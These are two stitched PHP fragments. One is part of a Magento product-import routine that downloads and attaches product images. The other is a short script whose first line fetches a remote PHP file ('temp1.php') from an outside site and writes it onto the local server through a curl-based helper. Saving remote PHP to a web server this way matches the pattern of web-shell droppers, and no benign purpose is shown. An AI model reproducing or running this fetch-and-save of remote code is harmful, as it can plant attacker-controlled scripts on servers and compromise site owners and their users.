$product->setCategoryIds($category_ids); } if (stripos($imagelist, "|||")) { //如果有图片list,则用多图list代替单图 $images = $imagelist; } if ($images) { $importPath = Mage::getBaseDir('media') . DS . 'import' . DS; //echo $importPath; $imgarr = array(); $images = str_replace("#||#", "|||", $images); $gallery = array_unique(array_filter(@explode('|||', $images))); foreach ($gallery as $img) { if (preg_match("~^http:~i", $img)) { $imgname = md5($img) . '.' . end(explode('.', $img)); if (httpcopy($img, $importPath . $imgname)) { $imgarr[] = $imgname; } } elseif (is_file($importPath . $img)) { $imgarr[] = $img; } } foreach ($imgarr as $key => $gallery_img) { if ($key == 0) { $product->addImageToMediaGallery($importPath . $gallery_img, array('thumbnail', 'small_image', 'image'), true, false); } else { $product->addImageToMediaGallery($importPath . $gallery_img, null, true, false); } } } $product->setStatus(1);
<?php echo httpcopy("http://www.yywjw.com/themes/weiyi/temp1.php"); function httpcopy($url, $file = "", $timeout = 60) { $file = empty($file) ? pathinfo($url, PATHINFO_BASENAME) : $file; $dir = pathinfo($file, PATHINFO_DIRNAME); !is_dir($dir) && @mkdir($dir, 0755, true); $url = str_replace(" ", "%20", $url); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $temp = curl_exec($ch); if (@file_put_contents($file, $temp) && !curl_error($ch)) { return $file; } else { return false; } } else { $opts = array("http" => array("method" => "GET", "header" => "", "timeout" => $timeout)); $context = stream_context_create($opts); if (@copy($url, $file, $context)) { //$http_response_header return $file; } else { return false; } } }